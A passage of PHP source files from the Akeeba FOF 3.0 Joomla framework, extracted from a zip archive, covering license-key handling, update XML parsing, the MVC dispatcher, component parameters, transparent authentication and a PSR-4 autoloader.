* * YOU SHOULD OVERRIDE THIS METHOD. The default implementation checks for valid Download IDs in the format used by * Akeeba software. * * @param string $licenseKey * * @return bool */ public function isValidLicenseKey($licenseKey) { return preg_match('/^([0-9]{1,}:)?[0-9a-f]{32}$/i', $licenseKey) === 1; } /** * Sanitizes the license key. * * YOU SHOULD OVERRIDE THIS METHOD. The default implementation returns a lowercase string with all characters except * letters, numbers and colons removed. * * @param string $licenseKey * * @return string The sanitized license key */ public function sanitizeLicenseKey($licenseKey) { return strtolower(preg_replace("/[^a-zA-Z0-9:]/", "", $licenseKey)); } /** * Returns the component Options key which holds a copy of the license key * * @return string */ protected function getLegacyParamsKey() { if (!empty($this->paramsKey)) { return $this->paramsKey; } $this->paramsKey = 'update_dlid'; return $this->paramsKey; } /** * Extract the download ID from an extra_query based on the prefix and suffix information stored in the dlid element * of the extension's XML manifest file. * * @param string $extra_query * * @return string */ protected function getLicenseKeyFromExtraQuery($extra_query) { $extra_query = trim($extra_query); if (empty($extra_query)) { return ''; } // Get the extension XML manifest. If the extension or the manifest don't exist return an empty string. $extension = $this->getExtensionObject(); if (!$extension) { return ''; } $installXmlFile = $this->getManifestXML( $extension->element, $extension->type, (int) $extension->client_id, $extension->folder ); if (!$installXmlFile) { return ''; } // If the manifest does not have a dlid element return an empty string. if (!isset($installXmlFile->dlid)) { return ''; } // Naive parsing of the extra_query, the same way Joomla does. $prefix = (string) $installXmlFile->dlid['prefix']; $suffix = (string) $installXmlFile->dlid['suffix']; $licenseKey = substr($extra_query, strlen($prefix)); if ($licenseKey === false) { return ''; } if ($suffix) { $licenseKey = substr($licenseKey, 0, -strlen($suffix)); } return ($licenseKey === false) ? '' : $licenseKey; } /** * Get a legacy extra query string. Do NOT call this directly. Call getExtraQueryString() instead. * * YOU SHOULD OVERRIDE THIS METHOD. This returns dlid=SANITIZED_LICENSE_KEY which is what Akeeba Release System, * used to deliver all Akeeba extensions, expects. * * @param string $licenseKey The license key * * @return string The extra_query string to append to a downlaod URL to implement the license key */ protected function getExtraQueryStringLegacy($licenseKey) { if (empty($licenseKey) || !$this->isValidLicenseKey($licenseKey)) { return ''; } return 'dlid=' . $this->sanitizeLicenseKey($licenseKey); } /** * Get the manifest XML file of a given extension. * * @param string $element element of an extension * @param string $type type of an extension * @param integer $client_id client_id of an extension * @param string $folder folder of an extension * * @return SimpleXMLElement */ protected function getManifestXML($element, $type, $client_id = 1, $folder = null) { $path = $client_id ? JPATH_ADMINISTRATOR : JPATH_ROOT; switch ($type) { case 'component': $path .= '/components/' . $element . '/' . substr($element, 4) . '.xml'; break; case 'plugin': $path .= '/plugins/' . $folder . '/' . $element . '/' . $element . '.xml'; break; case 'module': $path .= '/modules/' . $element . '/' . $element . '.xml'; break; case 'template': $path .= '/templates/' . $element . '/templateDetails.xml'; break; case 'library': $path = JPATH_ADMINISTRATOR . '/manifests/libraries/' . $element . '.xml'; break; case 'file': $path = JPATH_ADMINISTRATOR . '/manifests/files/' . $element . '.xml'; break; case 'package': $path = JPATH_ADMINISTRATOR . '/manifests/packages/' . $element . '.xml'; } return simplexml_load_file($path); } } PK���\�sWƬ � fof30/Update/Extension.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Update; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Download\Download; use SimpleXMLElement; /** * A helper class to read and parse "extension" update XML files over the web */ class Extension { /** * Reads an "extension" XML update source and returns all listed update entries. * * If you have a "collection" XML update source you should do something like this: * $collection = new F0FUtilsUpdateCollection(); * $extensionUpdateURL = $collection->getExtensionUpdateSource($url, 'component', 'com_foobar', JVERSION); * $extension = new F0FUtilsUpdateExtension(); * $updates = $extension->getUpdatesFromExtension($extensionUpdateURL); * * @param string $url The extension XML update source URL to read from * * @return array An array of update entries */ public function getUpdatesFromExtension($url) { // Initialise $ret = []; // Get and parse the XML source $container = Container::getInstance('com_FOOBAR'); $downloader = new Download($container); $xmlSource = $downloader->getFromURL($url); try { $xml = new SimpleXMLElement($xmlSource, LIBXML_NONET); } catch (Exception $e) { return $ret; } // Sanity check if (($xml->getName() != 'updates')) { unset($xml); return $ret; } // Let's populate the list of updates /** @var SimpleXMLElement $update */ foreach ($xml->children() as $update) { // Sanity check if ($update->getName() != 'update') { continue; } $entry = [ 'infourl' => ['title' => '', 'url' => ''], 'downloads' => [], 'tags' => [], 'targetplatform' => [], ]; $properties = get_object_vars($update); foreach ($properties as $nodeName => $nodeContent) { switch ($nodeName) { default: $entry[$nodeName] = $nodeContent; break; case 'infourl': case 'downloads': case 'tags': case 'targetplatform': break; } } $infourlNode = $update->xpath('infourl'); $entry['infourl']['title'] = (string) $infourlNode[0]['title']; $entry['infourl']['url'] = (string) $infourlNode[0]; $downloadNodes = $update->xpath('downloads/downloadurl'); foreach ($downloadNodes as $downloadNode) { $entry['downloads'][] = [ 'type' => (string) $downloadNode['type'], 'format' => (string) $downloadNode['format'], 'url' => (string) $downloadNode, ]; } $tagNodes = $update->xpath('tags/tag'); foreach ($tagNodes as $tagNode) { $entry['tags'][] = (string) $tagNode; } /** @var SimpleXMLElement[] $targetPlatformNode */ $targetPlatformNode = $update->xpath('targetplatform'); $entry['targetplatform']['name'] = (string) $targetPlatformNode[0]['name']; $entry['targetplatform']['version'] = (string) $targetPlatformNode[0]['version']; $client = $targetPlatformNode[0]->xpath('client'); $entry['targetplatform']['client'] = (is_array($client) && count($client)) ? (string) $client[0] : ''; $folder = $targetPlatformNode[0]->xpath('folder'); $entry['targetplatform']['folder'] = is_array($folder) && count($folder) ? (string) $folder[0] : ''; $ret[] = $entry; } unset($xml); return $ret; } } PK���\V��,M M &fof30/Dispatcher/Mixin/ViewAliases.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Dispatcher\Mixin; defined('_JEXEC') || die; use Joomla\CMS\Uri\Uri; /** * Lets you create view aliases. When you access a view alias the real view is loaded instead. You can optionally have * an HTTPS 301 redirection for GET requests to URLs that use the view name alias. * * IMPORTANT: This is a mixin (or, as we call it in PHP, a trait). Traits require PHP 5.4 or later. If you opt to use * this trait your component will no longer work under PHP 5.3. * * Usage: * * • Override $viewNameAliases with your view names map. * • If you want to issue HTTP 301 for GET requests set $permanentAliasRedirectionOnGET to true. * • If you have an onBeforeDispatch method remember to alias and call this traits' onBeforeDispatch method at the top. * * Regarding the last point, if you've never used traits before, the code looks like this. Top of the class: * use ViewAliases { * onBeforeDispatch as onBeforeDispatchViewAliases; * } * and inside your custom onBeforeDispatch method, the first statement should be: * $this->onBeforeDispatchViewAliases(); * Simple! */ trait ViewAliases { /** * Maps view name aliases to actual views. The format is 'alias' => 'RealView'. * * @var array */ protected $viewNameAliases = []; /** * If set to true, any GET request to the alias view will result in an HTTP 301 permanent redirection to the real * view name. * * This does NOT apply to POST, PUT, DELETE etc URLs. When you submit form data you cannot have a redirection. The * browser will _typically_ not resend the submitted data. * * @var bool */ protected $permanentAliasRedirectionOnGET = false; /** * Transparently replaces old view names with their counterparts. * * If you are overriding this method in your component remember to alias it and call it from your overridden method. */ protected function onBeforeDispatch() { if (!array_key_exists($this->view, $this->viewNameAliases)) { return; } $this->view = $this->viewNameAliases[$this->view]; $this->container->input->set('view', $this->view); // Perform HTTP 301 Moved permanently redirection on GET requests if requested to do so if ($this->permanentAliasRedirectionOnGET && isset($_SERVER['REQUEST_METHOD']) && (strtoupper($_SERVER['REQUEST_METHOD']) == 'GET') ) { $url = Uri::getInstance(); $url->setVar('view', $this->view); $this->container->platform->redirect($url, 301); } } } PK���\@.�"��.fof30/Dispatcher/Exception/AccessForbidden.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Dispatcher\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when the access to the requested resource is forbidden under the current execution context */ class AccessForbidden extends RuntimeException { public function __construct($message = "", $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'); } parent::__construct($message, $code, $previous); } } PK���\�-`Y&&fof30/Dispatcher/Dispatcher.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Dispatcher; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Controller\Controller; use FOF30\Dispatcher\Exception\AccessForbidden; use FOF30\TransparentAuthentication\TransparentAuthentication; /** * A generic MVC dispatcher * * @property-read \FOF30\Input\Input $input The input object (magic __get returns the Input from the Container) */ class Dispatcher { /** @var string The name of the default view, in case none is specified */ public $defaultView = null; /** @var array Local cache of the dispatcher configuration */ protected $config = []; /** @var Container The container we belong to */ protected $container = null; /** @var string The view which will be rendered by the dispatcher */ protected $view = null; /** @var string The layout for rendering the view */ protected $layout = null; /** @var Controller The controller which will be used */ protected $controller = null; /** @var bool Is this user transparently logged in? */ protected $isTransparentlyLoggedIn = false; /** * Public constructor * * The $config array can contain the following optional values: * defaultView string The view to render if none is specified in $input * * Do note that $config is passed to the Controller and through it to the Model and View. Please see these classes * for more information on the configuration variables they accept. * * @param \FOF30\Container\Container $container * @param array $config */ public function __construct(Container $container, array $config = []) { $this->container = $container; $this->config = $config; $this->defaultView = $container->appConfig->get('dispatcher.defaultView', $this->defaultView); if (isset($config['defaultView'])) { $this->defaultView = $config['defaultView']; } $this->supportCustomViewAndTaskParameters(); // Get the default values for the view and layout names $this->view = $this->input->getCmd('view', null); $this->layout = $this->input->getCmd('layout', null); // Not redundant; you may pass an empty but non-null view which is invalid, so we need the fallback if (empty($this->view)) { $this->view = $this->defaultView; $this->container->input->set('view', $this->view); } } /** * Magic get method. Handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The property to fetch * * @return mixed|null */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } // Property not found; raise error $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE); return null; } /** * The main code of the Dispatcher. It spawns the necessary controller and * runs it. * * @return void * * @throws AccessForbidden When the access is forbidden */ public function dispatch() { // Load the translations for this component; $this->container->platform->loadTranslations($this->container->componentName); // Perform transparent authentication if ($this->container->platform->getUser()->guest) { $this->transparentAuthenticationLogin(); } // Get the event names (different for CLI) $onBeforeEventName = 'onBeforeDispatch'; $onAfterEventName = 'onAfterDispatch'; if ($this->container->platform->isCli()) { $onBeforeEventName = 'onBeforeDispatchCLI'; $onAfterEventName = 'onAfterDispatchCLI'; } try { $result = $this->triggerEvent($onBeforeEventName); $error = ''; } catch (\Exception $e) { $result = false; $error = $e->getMessage(); } if ($result === false) { if ($this->container->platform->isCli()) { $this->container->platform->setHeader('Status', '403 Forbidden', true); } $this->transparentAuthenticationLogout(); $this->container->platform->showErrorPage(new AccessForbidden); } // Get and execute the controller $view = $this->input->getCmd('view', $this->defaultView); $task = $this->input->getCmd('task', 'default'); if (empty($task)) { $task = 'default'; $this->input->set('task', $task); } try { $this->controller = $this->container->factory->controller($view, $this->config); $status = $this->controller->execute($task); } catch (Exception $e) { $this->container->platform->showErrorPage($e); // Redundant; just to make code sniffers happy return; } if ($status !== false) { try { $this->triggerEvent($onAfterEventName); } catch (\Exception $e) { $status = false; } } if (($status === false)) { if ($this->container->platform->isCli()) { $this->container->platform->setHeader('Status', '403 Forbidden', true); } $this->transparentAuthenticationLogout(); $this->container->platform->showErrorPage(new AccessForbidden); } $this->transparentAuthenticationLogout(); $this->controller->redirect(); } /** * Returns a reference to the Controller object currently in use by the dispatcher * * @return Controller */ public function &getController() { return $this->controller; } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * Joomla! plugin system. A true/false return value is expected. The first false return cancels the event. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeDispatch, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeDispatch(123, 456) * 2. Joomla! plugin event onComFoobarDispatcherBeforeDispatch($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return bool */ protected function triggerEvent($event, array $arguments = []) { $result = true; // If there is an object method for this event, call it if (method_exists($this, $event)) { switch (count($arguments)) { case 0: $result = $this->{$event}(); break; case 1: $result = $this->{$event}($arguments[0]); break; case 2: $result = $this->{$event}($arguments[0], $arguments[1]); break; case 3: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2]); break; case 4: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3]); break; case 5: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4]); break; default: $result = call_user_func_array([$this, $event], $arguments); break; } } if ($result === false) { return false; } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'Dispatcher'; // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $results = $this->container->platform->runPlugins($event, $arguments); if (!empty($results)) { foreach ($results as $result) { if ($result === false) { return false; } } } return true; } /** * Handles the transparent authentication log in */ protected function transparentAuthenticationLogin() { /** @var TransparentAuthentication $transparentAuth */ $transparentAuth = $this->container->transparentAuth; $authInfo = $transparentAuth->getTransparentAuthenticationCredentials(); if (empty($authInfo)) { return; } $this->isTransparentlyLoggedIn = $this->container->platform->loginUser($authInfo); } /** * Handles the transparent authentication log out */ protected function transparentAuthenticationLogout() { if (!$this->isTransparentlyLoggedIn) { return; } /** @var TransparentAuthentication $transparentAuth */ $transparentAuth = $this->container->transparentAuth; if (!$transparentAuth->getLogoutOnExit()) { return; } $this->container->platform->logoutUser(); } /** * Adds support for akview/aktask in lieu of view and task. * * This is for future-proofing FOF in case Joomla assigns special meaning to view and task, e.g. by trying to find a * specific controller / task class instead of letting the component's front-end router handle it. If that happens * FOF components can have a single Joomla-compatible view/task which launches the Dispatcher and perform internal * routing using akview/aktask. * * @return void * @since 3.6.3 */ private function supportCustomViewAndTaskParameters() { $view = $this->input->getCmd('akview', null); $task = $this->input->getCmd('aktask', null); if (!is_null($view)) { $this->input->remove('akview'); $this->input->set('view', $view); } if (!is_null($task)) { $this->input->remove('aktask'); $this->input->set('task', $task); } } } PK���\{(���fof30/Params/Params.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Params; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Utils\CacheCleaner; use Joomla\Registry\Registry; /** * A helper class to quickly get the component parameters */ class Params { /** @var Container The container we belong to */ protected $container = null; /** * Cached component parameters * * @var Registry */ private $params = null; /** * Public constructor for the params object * * @param Container $container The container we belong to */ public function __construct(Container $container) { $this->container = $container; $this->reload(); } /** * Reload the params */ public function reload() { $db = $this->container->db; $sql = $db->getQuery(true) ->select($db->qn('params')) ->from($db->qn('#__extensions')) ->where($db->qn('type') . " = " . $db->q('component')) ->where($db->qn('element') . " = " . $db->q($this->container->componentName)); $json = $db->setQuery($sql)->loadResult(); $this->params = new Registry($json); } /** * Returns the value of a component configuration parameter * * @param string $key The parameter to get * @param mixed $default Default value * * @return mixed */ public function get($key, $default = null) { return $this->params->get($key, $default); } /** * Returns a copy of the loaded component parameters as an array * * @return array */ public function getParams() { return $this->params->toArray(); } /** * Sets the value of multiple component configuration parameters at once * * @param array $params The parameters to set * * @return void */ public function setParams(array $params) { foreach ($params as $key => $value) { $this->params->set($key, $value); } } /** * Sets the value of a component configuration parameter * * @param string $key The parameter to set * @param mixed $value The value to set * * @return void */ public function set($key, $value) { $this->setParams([$key => $value]); } /** * Actually Save the params into the db */ public function save() { $db = $this->container->db; $data = $this->params->toString(); $sql = $db->getQuery(true) ->update($db->qn('#__extensions')) ->set($db->qn('params') . ' = ' . $db->q($data)) ->where($db->qn('element') . ' = ' . $db->q($this->container->componentName)) ->where($db->qn('type') . ' = ' . $db->q('component')); $db->setQuery($sql); try { $db->execute(); // The component parameters are cached. We just changed them. Therefore we MUST reset the system cache which holds them. CacheCleaner::clearCacheGroups(['_system'], $this->container->platform->isBackend() ? [0] : [1]); } catch (Exception $e) { // Don't sweat if it fails } } } PK���\��Afof30/version.txtnu&1i�3.7.4 2021-02-19PK���\^=�ql2l2=fof30/TransparentAuthentication/TransparentAuthentication.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\TransparentAuthentication; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Encrypt\Aes; use FOF30\Encrypt\Totp; /** * Retrieves the values for transparent authentication from the request */ class TransparentAuthentication { /** Use HTTP Basic Authentication with time-based one time passwords */ public const Auth_HTTPBasicAuth_TOTP = 1; /** Use Query String Parameter authentication with time-based one time passwords */ public const Auth_QueryString_TOTP = 2; /** Use HTTP Basic Authentication with plain text username and password */ public const Auth_HTTPBasicAuth_Plaintext = 3; /** Use single query string parameter authentication with JSON-encoded, plain text username and password */ public const Auth_QueryString_Plaintext = 4; /** Use two query string parameters for plain text username and password authentication */ public const Auth_SplitQueryString_Plaintext = 5; /** @var int The time step for TOTP authentication */ protected $timeStep = 6; /** @var string The TOTP secret key */ protected $totpKey = ''; /** @var array Enabled authentication methods, see the class constants */ protected $authenticationMethods = [3, 4, 5]; /** @var string The username required for the Auth_HTTPBasicAuth_TOTP method */ protected $basicAuthUsername = '_fof_auth'; /** @var string The query parameter for the Auth_QueryString_Plaintext method */ protected $queryParam = '_fofauthentication'; /** @var string The query parameter for the username in the Auth_SplitQueryString_Plaintext method */ protected $queryParamUsername = '_fofusername'; /** @var string The query parameter for the password in the Auth_SplitQueryString_Plaintext method */ protected $queryParamPassword = '_fofpassword'; /** @var bool Should I log out the user after the dispatcher exits? */ protected $logoutOnExit = true; /** @var Container The container we are attached to */ protected $container = null; /** @var string Internal variable */ private $cryptoKey = ''; /** * Public constructor. * * The optional $config array can contain the following values (corresponding to the same-named properties of this * class): timeStep, totpKey, cryptoKey, basicAuthUsername, queryParam, queryParamUsername, queryParamPassword, * logoutOnExit. See the property descriptions for more information. * * @param Container $container * @param array $config */ function __construct(Container $container, array $config = []) { $this->container = $container; // Initialise from the $config array $knownKeys = [ 'timeStep', 'totpKey', 'cryptoKey', 'basicAuthUsername', 'queryParam', 'queryParamUsername', 'queryParamPassword', 'logoutOnExit', ]; foreach ($knownKeys as $key) { if (isset($config[$key])) { $this->$key = $config[$key]; } } if (isset($config['authenticationMethods'])) { $this->authenticationMethods = $this->parseAuthenticationMethods($config['authenticationMethods']); } } /** * Get the enabled authentication methods * * @return array * * @codeCoverageIgnore */ public function getAuthenticationMethods() { return $this->authenticationMethods; } /** * Set the enabled authentication methods * * @param array $authenticationMethods * * @codeCoverageIgnore */ public function setAuthenticationMethods($authenticationMethods) { $this->authenticationMethods = $authenticationMethods; } /** * Enable an authentication method * * @param integer $method */ public function addAuthenticationMethod($method) { if (!in_array($method, $this->authenticationMethods)) { $this->authenticationMethods[] = $method; } } /** * Disable an authentication method * * @param integer $method */ public function removeAuthenticationMethod($method) { if (in_array($method, $this->authenticationMethods)) { $key = array_search($method, $this->authenticationMethods); unset($this->authenticationMethods[$key]); } } /** * Get the required username for the HTTP Basic Authentication with TOTP method * * @return string * * @codeCoverageIgnore */ public function getBasicAuthUsername() { return $this->basicAuthUsername; } /** * Set the required username for the HTTP Basic Authentication with TOTP method * * @param string $basicAuthUsername * * @codeCoverageIgnore */ public function setBasicAuthUsername($basicAuthUsername) { $this->basicAuthUsername = $basicAuthUsername; } /** * Get the query parameter for the Auth_QueryString_TOTP method * * @return string * * @codeCoverageIgnore */ public function getQueryParam() { return $this->queryParam; } /** * Set the query parameter for the Auth_QueryString_TOTP method * * @param string $queryParam * * @codeCoverageIgnore */ public function setQueryParam($queryParam) { $this->queryParam = $queryParam; } /** * Get the query string for the password in the Auth_SplitQueryString_Plaintext method * * @return string * * @codeCoverageIgnore */ public function getQueryParamPassword() { return $this->queryParamPassword; } /** * Set the query string for the password in the Auth_SplitQueryString_Plaintext method * * @param string $queryParamPassword * * @codeCoverageIgnore */ public function setQueryParamPassword($queryParamPassword) { $this->queryParamPassword = $queryParamPassword; } /** * Get the query string for the username in the Auth_SplitQueryString_Plaintext method * * @return string * * @codeCoverageIgnore */ public function getQueryParamUsername() { return $this->queryParamUsername; } /** * Set the query string for the username in the Auth_SplitQueryString_Plaintext method * * @param string $queryParamUsername * * @codeCoverageIgnore */ public function setQueryParamUsername($queryParamUsername) { $this->queryParamUsername = $queryParamUsername; } /** * Get the time step in seconds for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @return int * * @codeCoverageIgnore */ public function getTimeStep() { return $this->timeStep; } /** * Set the time step in seconds for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @param int $timeStep * * @codeCoverageIgnore */ public function setTimeStep($timeStep) { $this->timeStep = (int) $timeStep; } /** * Get the secret key for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @return string * * @codeCoverageIgnore */ public function getTotpKey() { return $this->totpKey; } /** * Set the secret key for the TOTP in the Auth_HTTPBasicAuth_TOTP method * * @param string $totpKey * * @codeCoverageIgnore */ public function setTotpKey($totpKey) { $this->totpKey = $totpKey; } /** * Should I log out when the dispatcher finishes? * * @return boolean * * @codeCoverageIgnore */ public function getLogoutOnExit() { return $this->logoutOnExit; } /** * Set the log out on exit flag (for testing) * * @param boolean $logoutOnExit * * @codeCoverageIgnore */ public function setLogoutOnExit($logoutOnExit) { $this->logoutOnExit = $logoutOnExit; } /** * Tries to get the transparent authentication credentials from the request * * @return array|null */ public function getTransparentAuthenticationCredentials() { $return = null; // Always run onFOFGetTransparentAuthenticationCredentials. These methods take precedence over anything else. $this->container->platform->importPlugin('user'); $this->container->platform->importPlugin('fof'); $pluginResults = $this->container->platform->runPlugins('onFOFGetTransparentAuthenticationCredentials', [$this->container]); foreach ($pluginResults as $result) { if (empty($result)) { continue; } if (is_array($result)) { return $result; } } // Make sure there are enabled transparent authentication methods if (empty($this->authenticationMethods)) { return $return; } $input = $this->container->input; foreach ($this->authenticationMethods as $method) { switch ($method) { case self::Auth_HTTPBasicAuth_TOTP: if (empty($this->totpKey)) { continue 2; } if (empty($this->basicAuthUsername)) { continue 2; } if (!isset($_SERVER['PHP_AUTH_USER'])) { continue 2; } if (!isset($_SERVER['PHP_AUTH_PW'])) { continue 2; } if ($_SERVER['PHP_AUTH_USER'] != $this->basicAuthUsername) { continue 2; } $encryptedData = $_SERVER['PHP_AUTH_PW']; return $this->decryptWithTOTP($encryptedData); break; case self::Auth_QueryString_TOTP: if (empty($this->queryParam)) { continue 2; } $encryptedData = $input->get($this->queryParam, '', 'raw'); if (empty($encryptedData)) { continue 2; } $return = $this->decryptWithTOTP($encryptedData); if (!is_null($return)) { return $return; } break; case self::Auth_HTTPBasicAuth_Plaintext: if (!isset($_SERVER['PHP_AUTH_USER'])) { continue 2; } if (!isset($_SERVER['PHP_AUTH_PW'])) { continue 2; } return [ 'username' => $_SERVER['PHP_AUTH_USER'], 'password' => $_SERVER['PHP_AUTH_PW'], ]; break; case self::Auth_QueryString_Plaintext: if (empty($this->queryParam)) { continue 2; } $jsonEncoded = $input->get($this->queryParam, '', 'raw'); if (empty($jsonEncoded)) { continue 2; } $authInfo = json_decode($jsonEncoded, true); if (!is_array($authInfo)) { continue 2; } if (!array_key_exists('username', $authInfo) || !array_key_exists('password', $authInfo)) { continue 2; } return $authInfo; break; case self::Auth_SplitQueryString_Plaintext: if (empty($this->queryParamUsername)) { continue 2; } if (empty($this->queryParamPassword)) { continue 2; } $username = $input->get($this->queryParamUsername, '', 'raw'); $password = $input->get($this->queryParamPassword, '', 'raw'); if (empty($username)) { continue 2; } if (empty($password)) { continue 2; } return [ 'username' => $username, 'password' => $password, ]; break; } } return $return; } /** * Parses a list of transparent authentication methods (array or comma separated list of integers or method names) * and converts it into an array of integers this class understands. * * @param $methods * * @return array */ protected function parseAuthenticationMethods($methods) { if (empty($methods)) { return []; } if (!is_array($methods)) { $methods = explode(',', $methods); } $return = []; foreach ($methods as $method) { if (empty($method)) { continue; } $method = trim($method); if ((int) $method == $method) { $return[] = (int) $method; } switch ($method) { case 'HTTPBasicAuth_TOTP': $return[] = 1; break; case 'QueryString_TOTP': $return[] = 2; break; case 'HTTPBasicAuth_Plaintext': $return[] = 3; break; case 'QueryString_Plaintext': $return[] = 4; break; case 'SplitQueryString_Plaintext': $return[] = 5; } } return $return; } /** * Decrypts a transparent authentication message using a TOTP * * @param string $encryptedData The encrypted data * * @return array The decrypted data */ private function decryptWithTOTP($encryptedData) { if (empty($this->totpKey)) { $this->cryptoKey = null; return null; } $totp = new Totp($this->timeStep); $period = $totp->getPeriod(); $period--; for ($i = 0; $i <= 2; $i++) { $time = ($period + $i) * $this->timeStep; $otp = $totp->getCode($this->totpKey, $time); $this->cryptoKey = hash('sha256', $this->totpKey . $otp); $aes = new Aes($this->cryptoKey); try { $ret = $aes->decryptString($encryptedData); } catch (Exception $e) { continue; } $ret = rtrim($ret, "\000"); $ret = json_decode($ret, true); if (!is_array($ret)) { continue; } if (!array_key_exists('username', $ret)) { continue; } if (!array_key_exists('password', $ret)) { continue; } // Successful decryption! return $ret; } // Obviously if we're here we could not decrypt anything. Bail out. $this->cryptoKey = null; return null; } } PK���\��k��fof30/Autoloader/Autoloader.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Autoloader; defined('_JEXEC') || die; use InvalidArgumentException; /** * A PSR-4 class autoloader. This is a modified version of Composer's ClassLoader class * * @codeCoverageIgnore */ class Autoloader { /** @var Autoloader The static instance of this autoloader */ private static $instance; /** @var array Lengths of PSR-4 prefixes */ private $prefixLengths = []; /** @var array Prefix to directory map */ private $prefixDirs = []; /** @var array Fall-back directories */ private $fallbackDirs = []; /** * @return Autoloader */ public static function getInstance() { if (!is_object(self::$instance)) { self::$instance = new Autoloader(); } return self::$instance; } /** * Returns the prefix to directory map * * @return array * * @noinspection PhpUnused */ public function getPrefixes() { return $this->prefixDirs; } /** * Returns the list of fall=back directories * * @return array * * @noinspection PhpUnused */ public function getFallbackDirs() { return $this->fallbackDirs; } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prefixing to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-0 base directories * @param boolean $prepend Whether to prefix the directories * * @return $this for chaining * * @throws InvalidArgumentException When the prefix is invalid */ public function addMap($prefix, $paths, $prepend = false) { if ($prefix) { $prefix = ltrim($prefix, '\\'); } if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirs = array_merge( (array) $paths, $this->fallbackDirs ); $this->fallbackDirs = array_unique($this->fallbackDirs); } else { $this->fallbackDirs = array_merge( $this->fallbackDirs, (array) $paths ); $this->fallbackDirs = array_unique($this->fallbackDirs); } } elseif (!isset($this->prefixDirs[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengths[$prefix[0]][$prefix] = $length; $this->prefixDirs[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirs[$prefix] = array_merge( (array) $paths, $this->prefixDirs[$prefix] ); $this->prefixDirs[$prefix] = array_unique($this->prefixDirs[$prefix]); } else { // Append directories for an already registered namespace. $this->prefixDirs[$prefix] = array_merge( $this->prefixDirs[$prefix], (array) $paths ); $this->prefixDirs[$prefix] = array_unique($this->prefixDirs[$prefix]); } return $this; } /** * Does the autoloader have a map for the specified prefix? * * @param string $prefix * * @return bool */ public function hasMap($prefix) { return isset($this->prefixDirs[$prefix]); } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param array|string $paths The PSR-4 base directories * * @return void * * @throws InvalidArgumentException When the prefix is invalid * * @noinspection PhpUnused */ public function setMap($prefix, $paths) { if ($prefix) { $prefix = ltrim($prefix, '\\'); } if (!$prefix) { $this->fallbackDirs = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengths[$prefix[0]][$prefix] = $length; $this->prefixDirs[$prefix] = (array) $paths; } } /** * Registers this instance as an autoloader. * * @param boolean $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register([$this, 'loadClass'], true, $prepend); } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister([$this, 'loadClass']); } /** * Loads the given class or interface. * * @param string $class The name of the class * * @return bool True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { /** @noinspection PhpIncludeInspection */ include $file; return true; } return false; } /** * Finds 